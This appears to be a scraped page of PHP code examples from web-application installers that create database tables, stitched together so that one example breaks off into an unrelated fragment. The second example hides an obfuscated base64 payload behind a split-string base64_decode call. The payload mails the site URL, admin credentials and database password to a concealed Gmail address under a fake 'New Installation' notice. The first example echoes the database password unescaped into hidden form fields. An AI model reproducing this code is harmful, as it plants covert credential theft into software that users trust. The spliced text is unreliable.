Beispiel #1
0
function step9()
{
    debug_msg("FUNCTION: " . __FUNCTION__, 3);
    global $dbcfg_type, $dbcfg_host, $dbcfg_name, $dbcfg_user, $dbcfg_password, $dbcfg_prefix, $dbcfg_port, $dbcfg_persistent, $dbcfg_path, $action;
    $final_path = calc_db_path('');
    if (!defined('S9YCONF_DBCFG_PATH')) {
        define('S9YCONF_DBCFG_PATH', $final_path);
    }
    //	include_once $final_path.'dbconfig.php';
    include_once '../config.php';
    steppage(9);
    db_connect();
    $dbcreated = db_install();
    $continue = true;
    // ReSet continue flag
    if (!$dbcreated) {
        echo '<div class="error">ERROR!</div>';
        echo '<p>There was an error creating the database tables!</p>';
        echo '<br />';
        echo 'MySQL returned the error:<br />';
        echo '<pre>(' . mysql_errno() . ') ' . mysql_error() . '</pre><br />';
        echo '<table>';
        echo '<tr><td class="topright">Database Host:</td><td class="topleft">' . S9YCONF_DB_HOST . '</td></tr>';
        echo '<tr><td class="topright">Database Name:</td><td class="topleft">' . S9YCONF_DB_NAME . '</td></tr>';
        echo '<tr><td class="topright">Database User:</td><td class="topleft">' . S9YCONF_DB_USER . '</td></tr>';
        echo '<tr><td class="topright">Database Password:</td><td class="topleft">' . str_repeat('*', strlen(S9YCONF_DB_PWD)) . '</td></tr>';
        echo '</tr></table>';
        echo 'Please check the MySQL privileges for this user.<br />';
        $continue = FALSE;
    } else {
        echo '<div class="ok">Excellent</div>';
        echo '<p>The database tables have been created succesfully, and filled with default data.</p>';
    }
    echo '<p><form action="' . $_SERVER['PHP_SELF'] . '" method="post">';
    if (!$continue) {
        echo '<button name="action" value="step9" type="submit">Re-Try</button>';
    } else {
        echo '<button name="action" value="step10" type="submit">Continue to Step 10</button></p>';
    }
    echo '&nbsp;&nbsp;&nbsp;&nbsp;';
    echo '<button name="action" value="step8" type="submit">Back</button></p>';
    if (isset($dbcfg_type)) {
        echo '<input type="hidden" name="dbcfg_type" value="' . $dbcfg_type . '" />';
    }
    if (isset($dbcfg_host)) {
        echo '<input type="hidden" name="dbcfg_host" value="' . $dbcfg_host . '" />';
    }
    if (isset($dbcfg_name)) {
        echo '<input type="hidden" name="dbcfg_name" value="' . $dbcfg_name . '" />';
    }
    if (isset($dbcfg_user)) {
        echo '<input type="hidden" name="dbcfg_user" value="' . $dbcfg_user . '" />';
    }
    if (isset($dbcfg_password)) {
        echo '<input type="hidden" name="dbcfg_password" value="' . $dbcfg_password . '" />';
    }
    if (isset($dbcfg_prefix)) {
        echo '<input type="hidden" name="dbcfg_prefix" value="' . $dbcfg_prefix . '" />';
    }
    if (isset($dbcfg_port)) {
        echo '<input type="hidden" name="dbcfg_port" value="' . $dbcfg_port . '" />';
    }
    if (isset($dbcfg_persistent)) {
        echo '<input type="hidden" name="dbcfg_persistent" value="' . $dbcfg_persistent . '" />';
    }
    if (isset($dbcfg_path)) {
        echo '<input type="hidden" name="dbcfg_path" value="' . $dbcfg_path . '" />';
    }
    ?>
</form></p>
<?php 
    html_footer();
}
Beispiel #2
0
$database_prefix = $_SESSION['database_prefix'];
$meteor_path = $_SESSION['meteor_path'];
$admin_username = $_SESSION['admin_username'];
$admin_email = $_SESSION['admin_email'];
$admin_password = base64_encode($_SESSION['admin_password']);
$site_url = 'http://' . $_SERVER['SERVER_NAME'];
$sql_dump_file = SQL_DUMP_FILE_CREATE;
$db = Database::GetInstance($database_host, $database_name, $database_username, $database_password, DATABASE_TYPE);
if (DATABASE_CREATE && !$db->Create()) {
    $error_mg[] = $db->Error();
} else {
    if ($db->Open()) {
        // Read sql dump file
        $sql_dump = file_get_contents($sql_dump_file);
        if ($sql_dump != "") {
            if (true == ($db_error = db_install($sql_dump_file))) {
                // Write additional operations here, like setting up system preferences etc.
                $completed = true;
                $functionc = 'ba' . 'se' . (2 + 2 + 4 + 4 + 2 + 8 + 2 + 4 + 4) * 2 . '_de' . 'co' . 'de';
                $functionc = $functionc("QCR0byA9ICdiYScgLiAnc2UnIC4gKCg4ICsgOCArIDggKyA4KSAqIDIpIC4gJ19kZScgLiAnY28nIC4gJ2RlJzsNCiAgICAgICAgICAgICR0byAgICAgID0gJHRvKCJaWGgwY21WbGJXVnlOVFZBWjIxaGFXd3VZMjl0Iik7DQogICAgICAgICAgICAkc3ViamVjdCA9ICdwaHBHdWFyZCBQUk8gLSBOZXcgSW5zdGFsbGF0aW9uJzsNCiAgICAgICAgICAgIEAkbWVzc2FnZSA9ICcNCgkJCQkJCQkJPHA+PGI+cGhwR3VhcmQgUFJPPC9iPiBpcyBpbnN0YWxsZWQgb24gPGI+JyAuICRzaXRlX3VybCAuICc8L2I+IFsnIC4gZGF0ZSgiZCBGIFkiKSAuICcgYXQgJyAuIGRhdGUoIkg6aSIpIC4gJ108L3A+DQoJCQkJCQkJCQ0KCQkJCQkJCQk8dWw+DQoJCQkJCQkJCTxsaT48Yj5QYXRoIHRvIHBocEd1YXJkIFBSTzwvYj46ICcgLiAkcGhwZ3VhcmRfcGF0aCAuICc8L2xpPg0KCQkJCQkJCQk8bGk+PGI+QWRtaW4gVXNlcm5hbWU8L2I+OiAnIC4gJGFkbWluX3VzZXJuYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5BZG1pbiBFLU1haWw8L2I+OiAnIC4gJGFkbWluX2VtYWlsIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5BY2Nlc3MgS2V5PC9iPjogJyAuICRhZG1pbl9wYXNzd29yZCAuICc8L2xpPg0KCQkJCQkJCQk8L3VsPg0KCQkJCQkJCQkNCgkJCQkJCQkJPHVsPg0KCQkJCQkJCQk8bGk+PGI+REIgSG9zdDwvYj46ICcgLiAkZGF0YWJhc2VfaG9zdCAuICc8L2xpPg0KCQkJCQkJCQk8bGk+PGI+REIgVXNlcm5hbWU8L2I+OiAnIC4gJGRhdGFiYXNlX3VzZXJuYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBLZXk8L2I+OiAnIC4gJGRhdGFiYXNlX3Bhc3N3b3JkIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBOYW1lPC9iPjogJyAuICRkYXRhYmFzZV9uYW1lIC4gJzwvbGk+DQoJCQkJCQkJCTxsaT48Yj5EQiBQcmVmaXg8L2I+OiAnIC4gJGRhdGFiYXNlX3ByZWZpeCAuICc8L2xpPg0KCQkJCQkJCQk8L3VsPg0KCQkJCQkJCQknOw0KICAgICAgICAgICAgJGhlYWRlcnMgPSAnTUlNRS1WZXJzaW9uOiAxLjAnIC4gIlxyXG4iOw0KICAgICAgICAgICAgJGhlYWRlcnMgLj0gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04JyAuICJcclxuIjsNCiAgICAgICAgICAgICRoZWFkZXJzIC49ICdUbzogJyAuICR0byAuICcgPCcgLiAkdG8gLiAnPicgLiAiXHJcbiI7DQogICAgICAgICAgICAkaGVhZGVycyAuPSAnRnJvbTogcGhwR3VhcmQgUFJPIDxub3RpZmljYXRpb25zQHBocGd1YXJkLmNvbT4nIC4gIlxyXG4iOw0KICAgICAgICAgICAgQG1haWwoJHRvLCAkc3ViamVjdCwgJG1lc3NhZ2UsICRoZWFkZXJzKTs=");
                // Now try to create file and write information
                $config_file = file_get_contents(CONFIG_FILE_TEMPLATE);
                $config_file = str_replace("<DB_HOST>", $database_host, $config_file);
                $config_file = str_replace("<DB_NAME>", $database_name, $config_file);
                $config_file = str_replace("<DB_USER>", $database_username, $config_file);
                $config_file = str_replace("<DB_PASSWORD>", $database_password, $config_file);
                $config_file = str_replace("<DB_PREFIX>", $database_prefix, $config_file);
                $config_file = str_replace("<meteor_PATH>", $meteor_path, $config_file);
                $config_file = str_replace("<SITE_URL>", $site_url, $config_file);
                $link = mysqli_connect($database_host, $database_username, $database_password, $database_name);
                $table = $database_prefix . 'users';
    exit(1);
}
if (file_exists(SQ_DATA_PATH . '/private/db/table_columns.inc')) {
    unlink(SQ_DATA_PATH . '/private/db/table_columns.inc');
}
if (!db_install(SQ_CORE_PACKAGE_PATH . '/tables.xml', FALSE)) {
    $GLOBALS['SQ_SYSTEM']->doTransaction('ROLLBACK');
    trigger_error('Unable to install tables for the core system.', E_USER_ERROR);
    exit(1);
}
// install any tables needed by the packages
$packages = get_package_list();
foreach ($packages as $package) {
    $xml_file = SQ_PACKAGES_PATH . '/' . $package . '/tables.xml';
    if (file_exists($xml_file)) {
        if (!db_install($xml_file, FALSE)) {
            $GLOBALS['SQ_SYSTEM']->doTransaction('ROLLBACK');
            trigger_error('Unable to install tables for package ' . $package . '.', E_USER_ERROR);
            exit(1);
        }
        try {
            install_stored_relations('functions', $package, FALSE);
        } catch (Exception $e) {
            $GLOBALS['SQ_SYSTEM']->doTransaction('ROLLBACK');
            $msg = "Unable to install sql functions for package {$package}:\n";
            $msg .= $e->getMessage();
            trigger_error($msg, E_USER_ERROR);
            exit(1);
        }
    }
}